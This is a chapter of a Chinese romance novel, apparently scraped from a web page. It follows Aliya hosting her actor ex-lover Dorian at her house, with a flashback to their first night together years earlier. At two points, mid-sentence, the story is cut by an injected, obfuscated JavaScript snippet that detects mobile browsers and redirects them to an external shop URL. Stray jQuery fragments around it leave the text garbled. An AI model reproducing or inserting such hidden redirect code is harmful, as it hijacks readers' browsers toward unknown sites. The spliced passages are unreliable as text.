所以,她希望他来吗? “当然想,但——” 阿利雅的话语被多里安利落截断:“你给了我肯定的答案,那就够了。后半句我不需要。” “但是……”阿利雅垂死挣扎着。 思考仿佛剥离成两半,审慎的、遇到什么都要踩下刹车的那部分还不愿意缴械投降——直接发展为同住一栋房子,太快了,跳过了太多步骤。 感情本来就没有标准使用手册,哪里来的必须遵守的既定步骤?纯粹凭感觉驱动的另一半她反驳。 时机才是一切,错过就不会再有,那样能甘心、会甘心吗? 阿利雅知道这个问题的答案。于是那许多的顾虑,她最后一个都没能说出口。 “机票搞定了,我得挂电话了,别忘了把具体地址发我,”多里安笑了笑,“那么,之后见。” 阿利雅喃喃地应了一声。 见面之后也可以慢慢来,她最后这么说服自己,哪怕对结论早有预感,论证过程同样重要。 通话结束。 阿利雅在厨房里团团转地踱了好几圈,终于有了一点实感。 再过几个小时,银柏之家就会多一个人。 原本懒洋洋的夏日午后骤然便排满了等着她去安排好的事项: 得把侧卧整理出来,要准备多一人份的生活用品;晚餐也不好随便打发了,必须立刻订餐;还应该叫人再开辆车上来留着,之后说不定会有不希望司机在场的时候…… 忙忙碌碌的时间过得飞快,阿利雅又一次调整好摆放餐巾的位置,后退半步,挑剔地打量摆好全套餐具的长餐桌。 酒杯和骨瓷盘碟闪闪发光,正经晚餐会必备的餐垫和桌旗也全都用上了。她越看越觉得这阵仗太大,过于郑重其事反而露怯。 她于是又开始给餐桌布置做减法。 阿利雅还没完全收拾完,远远便传来了车轮碾过路面石子的声音。她惊诧地抬头,望向厨房岛台上摆着的电子钟,而后急匆匆踱到主厅,透过敞亮的窗户往外看。 一辆低调的黑色SUV沿着小路驶来,停在花园围栏外的空地上。 驾驶座上的人只隐隐约约看得到身形轮廓,但她还是立刻认出来客。 多里安到得比她预计得还要早一点。 阿利雅五指已经搭上正门把手,她又蓦地退了半步,对着玄关墙上的椭圆形镜子拢了拢头发。等她终于做好准备打开门,多里安正穿过庭院走来。 他轻装赴约,单肩背了个圆筒行李袋。 目光与阿利雅对上,他脚步立刻加快了一些。 她的心跳也跟着加快节拍。 多里安却在正门台阶底部猛然驻足。 电话里他听上去那样的自信果断,真到她门前了,他却小心翼翼起来,仿佛提防着她会突然改变主意。 他仰头望向她,脸上带一点不自知的紧张。好像不得到女主人的许可,他就不会擅闯她的领地。 日头最毒辣的时段已经过去了,阿利雅却忽然有些口干舌燥,挤出来的句子也干巴巴的:“你……真的来了。欢迎来到银柏之家。” 多里安从中读出了他等待的信号。他三两步就登上台阶到了她面前。 下一秒,他变魔术似地亮出了一束花。 浅粉色玫瑰与白色洋桔梗挤挤挨挨,团出饱满的弧度,每一朵都开得恰好,争夺着阿利雅的注意力。而有如华美裙裾的层叠淡色花瓣之间,还错落插着梦幻的蓝紫色小花。这星星点点清新的冷色随多里安递过来的动作,和大片的粉白色一同轻颤着向她致意。 又是完全符合她偏好的花束。 “你这是养成了新习惯,每次都一定要送我花?”阿利雅嘴上揶揄着,眼睛里不由带上笑意。 “我得承认,这种老派的做法确实有一点独特的乐趣,”多里安也跟着放松了一些,“但愿你手头不止一个花瓶,否则可就得让之前那束的幸存者让位了。” “如你所见,这屋子确实基本空着,但玻璃瓶子总是有的。”阿利雅侧身让他先进门,朝停泊的那辆黑色SUV张望,车内好像没第二个人。 “你一个人从卡维拉开车过来的?” 多里安立刻听懂了她在关心什么:“放心,我没有疲劳驾驶,我让司机在最近的休息区换乘第二辆车,和我的助理一起回去,我只开了到这里的最后一段路。” 阿利雅领着他上楼。 “这是你的房间,”她瞥了眼走廊深处的纸箱子小山,那都是原本堆在侧卧的东西,她的声音里边多了一丝歉意,“这间房间下午才临时整理出来,条件有点简陋……” 多里安把行李袋往地上一放,左右看了看,笑笑地说:“有干净的床,有浴室,还有一扇能看到花园的窗户,我没什么可以挑剔的。” 如他所言,侧卧里只有最基本的家具陈设,室内空间因此颇为宽裕。 然而两个人同时在房门口相对站着,屋子却不知怎么又显得狭小了,以致于与对方同处一室这个事实强烈到无可忽视。 整栋房子里没有他们之外的第三人。 寂静像气球膨胀,目光游移着回避着相触,彼此的呼吸声仍旧清晰可闻,或许就是下个呼吸,抵达极限的气球就会迸裂。 “那么……你先安顿着,我就在楼下。”阿利雅忽然十分庆幸她是抱着花束上楼的。语毕,她便顺势退了出去,反手带上了房门。 快步下楼走进厨房,她才长长舒了一口气。 她旋即用力甩了甩头:冷静。多里安这才抵达五分钟而已。 定了定神,阿利雅刻意把注意力挪开,开始认真给怀里的花束找个新家。 她找到了一个空水罐,用作花瓶倒是很有田园野趣。厨房的老橡木桌子足够大,摆两个花瓶也不显得拥挤。 阿利雅来回调整着花束在桌子上的位置,一回头,多里安换了身衣服,正靠在厨房门边,微微笑着注视她。 午后七点倾斜的日光照不到多里安所在的角落,他那双能说会道的灰眼睛却明亮而炽热。 不知道他已经这么看了她多久。 “你走路还是没半点声音。”阿利雅半真半假地埋怨。 话出口她先愣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿利雅抿了抿嘴唇,轻轻说:“对我来说也是一样的,演员多里安·巴克斯,甚至于说现在的你的其他侧面……我也都并不熟悉。” 多里安翘起唇角,短促的笑声更像叹息:“确实不了解,但即便如此——” 话语戛然而止。 因为阿利雅的指尖试探性地勾上他的指节。 以背台本见长的演员就那么忘词了。等片刻后他反应过来,接着说下去的最佳时机已然错过。 多里安不由有一些轻微的恼怒:阿利雅很可能猜到了后半句,所以才用这种方式制止他说下去。 他选择尊重她放慢步调的意愿,但这不代表着她就有权利阻止他点破显而易见的事实: 他们对彼此是否还有感觉,答案毋庸置疑。 阿利雅的审慎在他看来,于是更像是有所保留。如果这是两军对垒,他已经显而易见地一败涂地,她居然还嫌不够,仍旧想着维持随时能够全身而退的余裕。 多里安于是一动不动。 他甚至没有转头看她,侧颜线条紧绷,竭尽全力忽视那若有似无、缠绕在右手食指中指第三指节的触感。 阿利雅却没就此作罢。她的食指圈住他的食指,抗议似地,又有如反驳,很轻很轻地拽了一下。 “多里安,我还不够了解你,但我愿意了解更多。” 用这一整个夏天。 20.6-2 多里安怔了怔,像是没反应过来。 下一秒,喜悦点亮他的整张脸。阿利雅看着他,也不禁微笑起来。 拉长的对视中,他的食指反过来勾紧了她的,其他手指随即跟上,直至与她指掌交握。 仿佛要用触觉重新认识她一遍,他一个指节一个指节地徐缓揉捏起她的手指,拇指指腹时不时刮过她的掌心。 在胸腔深处骚动的痒意,属于另一人的肌肤热度,交错加快的呼吸声,隐隐约约的新鲜沐浴露气味,朝她逐渐靠得更近的灰眼睛,一切一切都像个慢慢升温的梦境。 “那么,你想从哪里开始了解?”多里安问。 阿利雅这才惊觉他已经靠得非常近——她感觉得到他说话时的吐息。 他的视线微微压着,睫毛在眼下投落两弧浅淡的阴影,目光在她的嘴唇上游移,意义明确。 这样的绝佳气氛不留下一个吻好像未免可惜。 但如果不立刻停下,她不确定她是否还能维持冷静,抵御名为多里安的诱惑。要沉迷他实在太容易了。 于是她搬出全身的意志,用力闭了闭眼,伸手按在他的胸口,阻止他继续压缩两人之间的距离。 “我现在最想知道的是,你晚餐喜欢吃什么。”她一本正经地回答他刚才的问题。 多里安高高扬起眉毛,无声质问‘你认真的吗’,望着她的神色几近谴责。 “不是现在,”阿利雅作势推他一记,“我们说好了的,这次慢慢来。” 多里安长长吸了口气:“好吧。但只是推迟,不是取消安排。”在后撤前,他撩起她的一缕头发,绕在指尖转了转,补上一句: “我要收利息的。” 阿利雅笑着睨他,把他往厨房里推:“我是认真问你习惯怎么吃饭。现在你在饮食上肯定有一大堆注意事项,但我忘了问了,今天只来得及准备简餐。” 多里安毫不在乎的样子:“只要我能在首映的时候有个人样就行。” “我不想被你的经纪人追杀。” 他叹了口气:“我明天让营养师再发我一份计划。” 阿利雅就近在小城里的某家餐厅订了晚餐:清爽又有营养的金枪鱼藜麦沙拉,配上夏季时令蔬菜冷汤。她洗过手打开餐盒,开始给食物摆盘。 多里安看了没多久便搭住她的肩膀,让她转了个身面朝餐桌:“还是我来吧。” “怎么?我的摆盘技巧太惨不忍睹了?” “这样分配工作更公平,”他停下来想了想,神色促狭起来,“而且既然要好好表现,我当然得多做点家务活。” 阿利雅没搭理他,从冰箱里拿出瓶气泡水。 多里安刚把餐盘端上桌,回身见状又是一挑眉毛:“那边的酒柜可不是空的。所以,禁止的不止有亲吻,酒精也不行?” 她拈着两个酒杯的细颈走过来,用刚才制止他相似的语气宣告:“不是今天。” “有人好像特别害怕局面会失控,坚决要排除所有可能的危险因素,”多里安身体后仰,往椅背上一靠,笑吟吟的,“我是不是该感谢你肯定我的魅力?” 咚。玻璃瓶搁到桌上。 阿利雅忽然俯身,沾染汽水瓶温度的冰凉手指勾起他的下巴。 多里安因为惊讶僵住。 “我从来没否认过你对我的吸引力。”她似笑非笑的,低声念出那个让人怀念的昵称: “漂亮男孩。” “那么我可得好好利用这个优势。”多里安说着侧转脸颊,蹭了蹭阿利雅的手,而后去啄她的指尖。 这么做的时候,他始终抬着眼睛看她,像引诱,似挑衅,又是密不透风的观察。 那双在大荧幕上引人疯狂的灰色眼瞳用视线编织出绵柔的网,包围她,包裹她,邀请她就此在月下湖面般的波光里迷失。 阿利雅知道她该缩手退开,可她迟迟没能付诸行动。 情急之下,她匆忙闭上眼别开脸,用物理方式切断了多里安对她施加的‘魔法’。 她听到一声无可奈何的轻笑: “我们吃饭吧。” 气泡水倾入杯中时的柔和细响宣告这场不知何时开始的较量暂停。两人在长桌两侧坐下。 “所以……这栋房子就是你说的秘密大项目,”闲聊几句后,多里安开启新话题,“你选中这栋房子有什么特殊的理由么?” “这原本是德·博蒙特家的别墅。” 多里安嘴唇才分开就抿紧了。 “你肯定在想,怎么又是德·博蒙特,”阿利雅自嘲地摇摇头,“你可能也知道……我双亲是突然去世的,还留下了一堆吓人的烂账。” 多里安眸光闪了闪,转着杯子没有说话。 她犹豫地止声。 这个话题对第一天的晚餐桌略显尖锐沉重。但哪怕不是现在,总有一天也必须摆在台面上谈论。 “我在听。”多里安冷不防开口。 他向来喜欢从难题做起,上来就攻克难度最高的事项。很多时候,她也一样。 阿利雅于是缓声说下去: “那个时候,我还没搞清楚自己是什么样的人、又想成为什么样的人。于是对我来说,这个姓氏和与它相关的所有东西,就成了我能抓住的、让我感觉和这个世界有连接的唯一的东西。就结论而言,你也因此受到了伤害。” 她环顾四周。太阳西沉,玫瑰色的晚霞一视同仁地泼洒着柔和的光辉,在这样的光照中,好像说什么都可以得到耐心的聆听和理解。 “小时候,父亲经常和我描述这里,不厌其烦一遍又一遍。购回银柏之家对我来说是一个句号,我人生的某个阶段终于可以过去了。我会把这里布置成我喜欢的样子,让它成为我的房子,而不是什么遗物。” 也因此,阿利雅愿意去相信她已经改变足够多,更加成熟,拥有前所未有的自由,面前有许多许多崭新的可能。 包括以从未有的坦诚谈论五年前的事。 包括和多里安重新开始。 “所以……现在你在这里,我很高兴。”阿利雅脸颊烫得厉害。她不由略微扭开头,仿佛换个角度,就能缓和与敞开自我相随的紧张。 同样炽热,却让人安心的暖意包覆她的手背。 她顿了半拍,才朝多里安看去。 他的指掌盖住她的。不需要更多的言语,这样就足够。 两人对望着,没来由地都有些羞赧,笑着垂下视线。 “咳,”阿利雅清了清嗓子,“我分享过我的重大项目了,轮到你了。你最近又在忙什么?” “好像没什么是你不知道的。这周我去伦敦拍了ARC下个月的封面,那是《玛蒂尔达》宣传的一部分。” ARC是当下首屈一指的男性杂志。 “虽然严格来说我必须保密,但我可以给你看一眼选出来的样片。”多里安说着打开相册,点开一张照片后把手机递给她。 镜头对准电脑屏幕,拍下了屏幕上展示的写真样片。 指拍电子屏幕难免留下轻微的噪点,但也足够阿利雅看清楚大略: 这是一张符合ARC封面惯例的胸像特写。多里安单手支着头,身体略微前倾,侧过脸直视镜头。除了那张让人过目不忘的脸,写真最吸睛的要属他的穿着打扮。 剪裁利落的丝质黑西装,深V字开襟,枪驳领,单颗纽扣规矩地扣好。 但外套之下没有衬衫——丝绸与肌肤的光泽相映,多里安颈间戴着的银色细链向着襟口深处垂落,锥形吊坠若隐若现,压着仅能窥见大概的胸腹轮廓,没入西装领口内侧。 阿利雅沉默了好几秒,而后突然抬眸,要确认照片上是同一人物似地,看了多里安一眼。 他之前在各种广告和宣传照中的造型贴合常扮演的角色类型,基本穿得严严实实,好让观客的注意力集中到他极具表现力的眉眼上。 “有点大胆嘛。”她评价道。 “你的感想只有这些?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667623|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿利雅不接话:“说到你,大明星,前几天我看了你主演的电影。去年年末刚上映的那部。” 这个转折相当生硬,多里安给了她一个心知肚明的眼神,配合地换话题:“你觉得怎么样?” 吐出第一个词时还不觉得,等问题抛出去了,他却骤然紧张起来。竟然比等待预售票房数据或是点映影评的那些重要时刻更为忐忑。 阿利雅稍稍回想,那是部反乌托邦背景的心理惊悚片,也是某位在业内颇有名气的新锐导演执导的首部商业电影。 “比我预想得有娱乐性。” 多里安噗嗤笑了:“这算是好评还是恶评?” “我只是有点惊讶。” 像多里安这样从艺术电影出身的演员,大都非常重视维护自身的艺术信誉,即便开始出演商业电影拓展受众,选片也往往慎之又慎,基本会避免所谓的爆米花电影。 多里安在这方便原本就有一些优势——出道之时,他出众的外貌在社交媒体上快速引爆话题,电影片段和截图病毒式传播,吸引到了大批路人;哪怕他们并非《余兴派对》的受众,也因为好奇心开始关注这部电影、还有新人多里安·巴克斯的后续动向。 这种吸引眼球、持续地点燃人们注意力的特质,外加一点点运气,就是所谓的星光。 而以多里安星光之盛,其实他目前并不需要参演商业作增加曝光度。 多里安的上部作品虽然保留了导演的独特美学风格,故事主题也带有一些思辨意味,但无论是剧本还是剪辑,都相当符合商业片的要义——娱乐观众,牢牢抓住观众的注意力。 也因此,那部电影票房还算不错,流媒体数据出乎意料地稳定,大有成为类型片经典的势头。 “可能……即便现在,我对自己的位置仍然没有足够的安全感,”多里安扯了扯嘴角,“毕竟喜爱这种感情反复无常,也非常脆弱。” 他有些放空的眼神明白地证实她的猜测: 他说的不止是电影观众。 “现在这样能持续多久呢?会不会突然结束?我总是忍不住那么想。” 业界认可的‘好电影’很多时和高票房扯不上关系,而能拿奖的那些也未必是那一年最好的作品。演员要长久地在这行干下去,往往只有两种选择: 证明自己能够持续地拿到提名,又或是证明自己的名字就可以拉动票房,吸引人们走进电影院。 否则只有无尽的下坡路。 多里安自嘲地笑起来:“也可能,我只是不幸拥有一个太过庞大的自我,接受不了泯然众人被遗忘。” “你怎么会被遗忘呢?”阿利雅轻声说。 “谢谢你那么说。”多里安看她的眼神温柔得像要让她从骨头开始融化,但瞳孔深处的那一丝阴霾还在,像雪山顶夏季也拒绝消失的坚冰。 她知道他并没有被彻底说服。 多里安随即眨了眨眼,那缕不安被藏进更深处。他起身主动收拾餐具:“这么一说,我们不如一起看电影吧?就今晚。” “噢,我应该有个旧投影仪,厅里的墙上什么都没有,正好可以当幕布……” 三言两语间,这个夜晚的安排就敲定了。 对于在电影院相遇的两个人来说,这是最适合的‘第一次约会’,五年前是,现在仍然是。 拉上窗帘,陷进躺椅,等待微微颤动的影像点亮墙面。电影开始前那片刻黑暗独有的紧张期待感是如此熟悉。阿利雅忍不住侧首。 影片第一个镜头亮起,也照亮多里安的脸。 他的目光也不在电影上,正看着她。撞上墙面而后散逸的微光在他的眼睛里幽幽地闪烁,也勾勒出眉眼的深刻轮廓。 或许要怪那张杂志封面样片,也因为这一刻的情境与气氛似曾相识,五年前的某个午后倏地从阿利雅的记忆深处上浮。 那个罕见地多云的午后,见到多里安第一眼就蠢蠢欲动的欲望,她第一次品尝到沉溺其中的滋味。 21.6-3 那家卢米埃尔剧院的放映设备隔三差五地出故障。那天也是。 阿利雅和多里安那时候开始约会差不多一周,她光顾卢米埃尔时,不再准时出现在最开始的那个角落座,而是大大方方坐到多里安旁边。 那天下午场的电影放到半途,影院音响忽然坏了,影院老板乐得就此早点关门,中止放映,然后分发电影券作为补偿。宛如他们初遇那天的重演。 两人走出电影院时天色仍旧明亮。 故障发生的时间点尴尬,下午已经过了大半,重新找别的地方约会又有点晚了。昨天他们刚刚去海边玩过,再跑一趟好像有点重复。 阿利雅转头,和多里安对上视线。 她还不想回家。或者说,一个人回家。她猜他也一样。 “要不要来我的公寓?我们可以在线把刚刚这部看完。”她很随意地提议。 多里安惊讶地盯着她看了几秒,目光阅读谜题般在她脸上来回地游移。他很明显吃不准这邀请是什么性质。 阿利雅其实也说不清自己的意图。话出口的那瞬间,她几乎都要相信,她真的只是在邀请他到她那里补全没能看完的电影。 “听上去是个好主意。”多里安没有犹豫太久。 于是两个人牵着手往阿利雅的公寓区——路线多里安已经很熟悉,每晚他送阿利雅从影院回去都走这条路。 但这是他跟着她第一次上楼。 “请进。随便坐。” 多里安跟着阿利雅进门,步子不紧不慢。他抬眼环顾四周。 廉价周租公寓名义上是一室一厅,但所谓的卧室本质上是个稍大的壁龛,从门口一眼就看得到床。他立刻收回视线。 正是这个礼貌、甚至于说有些拘谨的小细节,让阿利雅下定决心: 她的夏天有明确的期限,夏日的果实就该在有机会品尝的时候吃掉。 “今天出门的时候我忘记拉窗帘了,房间里比平时要热,喝点东西?”阿利雅说着脱下当外套穿的棉麻花衬衫,露出里面的短款黑色吊带背心。她把衬衣随意扔到餐桌椅背上,转过身去冰箱里拿冰饮料。 全程她没有看多里安,表现得和独自在家一样放松。 很老套的勾引技巧,但愿可以奏效。 阿利雅拿着果汁和瓶装水走回沙发跟前,多里安神色平静,淡然接过瓶装水道谢。 她并不失望,反而愈发跃跃欲试。她在他身边坐下,找到刚才那部电影在线观看的平台,用书把笔记本电脑垒高,拖动着视频进度条:“你还记得刚才看到哪里吗?差不多这里?” 多里安也略微朝着电脑倾身,仿佛完全无意地,他的肩膀挨上她的,手掌也盖住她的,就这么包着她的指掌滑动起触控板。 阿利雅吞咽了一记,视线牢牢黏在屏幕上。 “差不多这里。”多里安按下播放键,若无其事地靠回沙发原位。 有那么一会儿,两个人都没说话,宛如已然迅速沉浸回上世纪70年代老电影的世界。 房租包含的无线宽带网络服务不太稳定,视频播放了十多分钟,画面忽然静止,加载中的圆圈在屏幕正中努力地转啊转,像没有仓鼠的仓鼠球,好半天也只是原地踏步。 阿利雅转过头,准备抱怨几句打破沉默。 到了唇边的词句却没能出口。 几乎与她同步动作,多里安也朝他看过来。 遮光窗帘让室内不合时段地昏暗,屏幕映在他瞳孔里幽幽的那一点光亮无端让阿利雅想到大型食肉动物。 她于是确信,对她的小把戏,他不仅注意到了,并且完全没有表面上那么平静。 很难说清是谁先凑近,嘴唇找到嘴唇,自然而然。 卡顿的视频终于加载成功,拿腔拿调的老电影台词响起,咬字清晰,但没人在听。 茶几上还散发着凉气的饮料不是正确的良药,唯一能解渴的甘泉要越过齿关,往更深处寻找。傍晚有时候反而是一天最炎热的时段,有东西顺着血管和神经燃烧,仿佛灵魂也要受不住这热意,脱离躯体飘起来。 阿利雅本能地伸手触碰,想要借此抓住一点实感。 多里安的肩膀还残留着少年人的纤瘦,搭住的时候骨骼感明显。快要喘不过气,她无章法地隔着夏衫摸索,抚过骤然绷紧凸显的轮廓,却好像始终找不到合适的一片衣物揪住。 跟随着她指尖的去向,低低的哼声从多里安的喉咙深处逃逸。扣在她后颈的手掌滚烫,也开始游走,一阵阵电流般的热意从尾骨迸发,让她颤栗,却反而向着热源贴得更近。 他的吐息微微撩动她鬓角散下的头发,顺着下颌线移动,流连颈侧,唇瓣时不时贴上咽喉,每次都停上几秒。 脆弱的要害被触及天然激发危机感,她已经分不清恐惧、紧张和兴奋,反正都是一样的肾上腺素狂飙,心跳呼吸急促。 火焰继续蔓延,随着指掌动作,骨节轮廓在黑色织物下时隐时现。 这就是她想要的,阿利雅模模糊糊地想,她还想要更多;只有仿佛能摧毁一切、海啸般的狂潮,才能冲走压在天际线的现实,让她忘记过去,遗忘她还有必须面对的之后。 下一秒,电影台词忽然间又听得清了。 因为多里安猛地停下。 他浑身紧绷,呼吸急促,眼神仿佛要钉住她,一眨不眨,沉默地等待一个信号。 阿利雅这才察觉最后一次抉择的紧迫,刻不容缓,足以切身感受,无可忽视。 她把几乎要跳出喉咙的心脏咽下去,点了点头。 一滴薄汗因为喉结的颤动微弱地闪了闪。 “你确定?”多里安眼睛挣扎地闪烁着。有那么短暂的一瞬间,他看上去更希望她能给出否定的答案。 后来回想起这个时刻,阿利雅有时会觉得多里安察觉到了什么。他的直觉向来敏锐。 早早地顺应欲望行动为他们的关系下定义,也印上预言的烙印——最初谁都没有认真,只是夏日轻浮却也美妙的消遣,所以也不能期望着对彼此、对还很遥远的夏日末梢负责。 “不要停。” 阿利雅五年前如此作答。 她说不上后悔,但也清楚那是一系列错误的开端。 同样的错误她不会再犯。 所以阿利雅只是对多里安笑了笑,轻巧地消解对视里滋长的情绪,视线转回银柏之家充当荧幕的墙面。多里安又看了她好片刻,才默然转开视线。 出于同样的理由,她之后又躲开了一次可能的亲近: 看完电影,两人在厨房里泡了香草茶,聊之后几天的安排,多里安找准气氛和时机俯下来,阿利雅却飞快地别开脸。 原本别有去处吻就落到了脸颊上。 多里安这次没有无可奈何地一笑带过。他唐突地转身踱开两步,对着窗户沉默了良久后才说:“实话说,连续被你这样拒绝,我有一点受伤。” 阿利雅没说话。 他略微回头,大半张脸藏在夜色里:“我愿意慢慢来,但如果那意味着表达温情的吻都严格禁止……我不确定我还能继续配合。” 阿利雅深呼吸:“多里安,我并不是在拒绝你。” 多里安低低地笑了声:“但如果我的一举一动都让你这样紧绷,如临大敌,我很难不觉得那是一种无意识的抗拒。” “我晚餐时才说过,我需要更多时间,我希望先更了解你一些。而你依然一次次地……”她闭了闭眼,“诱惑我、动摇我,我也会觉得,你根本不在乎我刚刚说了什么,我对你的吸引力只是生理上的。” 多里安难以置信地睁大眼睛:“上帝!不是每个吻、每个拥抱都有别的最终目的!” 他的语气让她也不由自主竖起防备的尖刺:“你给我的感觉可不是这样。” “我对你有欲望吗?当然 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“好,或许只是我们感情观有所不同,你需要更多时间,你要慢慢来,你要先了解我更多。但是,被荷尔蒙冲昏头脑失控就可怕到这个地步?” 他缓慢地转过来面对她,声音有一丝微弱的颤抖。 “阿利雅,你到底在害怕什么?” ‘害怕’这个词让她绷紧脊背。她下意识环抱双臂,一言不发地迎上多里安的视线。 多里安的声音变得轻柔平稳,却也极为冰冷:“你之前说这次要慢慢来,不希望任何人受伤。你假设可能受伤的是不是只有一方,我这一方?” 他扯了扯嘴角:“你害怕你会发现,你其实并不怎么喜欢真正的我,于是不可避免地伤害到我,是这样吗?” 手掌还残留着热茶杯的温度,阿利雅却像是刚到地下室走了一趟,冷得想要打颤。 “看起来,我在你这里真的毫无信用可言。” 多里安自嘲地笑了:“只要牵涉到你,我就从来没有把握。” “你——”阿利雅才开了个头,她放在厨房桌子上的手机就连着震动了两下。紧接着,多里安的手机屏幕也亮了起来。 时机凑巧得可疑。难道有什么大新闻? 阿利雅率先拿起手机确认情况。 是两条新短信,发件人让她意外,是非常偶尔才聊几句的伊娃·菲。 伊娃发来了一个网页链接,标题就足够概括一切: 《多里安和伊娃上月被目击酒店电梯热吻?!》 八卦新闻当事人伊娃对此的评价是:‘如果事情是我猜测的那样,请在24小时内支付封口费(鬼脸)’。 阿利雅抬眼一瞧,多里安眉毛微扬,表情同样十分微妙。 “伊娃?”她试探性地问。 他直接把短信页面亮给她看。确实也是伊娃的消息,措辞都一模一样,很显然是先发给阿利雅,然后顺手复制黏贴又抄送了一份给多里安。 被乌龙新闻这么一打岔,刚才的尖锐气氛倒是消散了大半。 “看来那对情侣过了一整个月,终于找到了愿意为他们的小道消息付费的小报。”多里安没回伊娃的调侃短信,把手机往口袋里随便一塞,呼了口气: “抱歉,我刚才反应过度了。之后我会尽量控制好自己的情绪。” “你今天肯定很累。”阿利雅给他找了个理由。 “那么我先上楼了。晚安。” 他走到厨房门口,阿利雅突然出声: “多里安。” 他停下脚步,略微回头表示在听,但没有看她。 阿利雅三步并作两步走过去,绕到他身前,扶住他的肩膀仰头,嘴唇贴上他的。 这是个带了点和解意味的、温柔的吻。 “晚安。”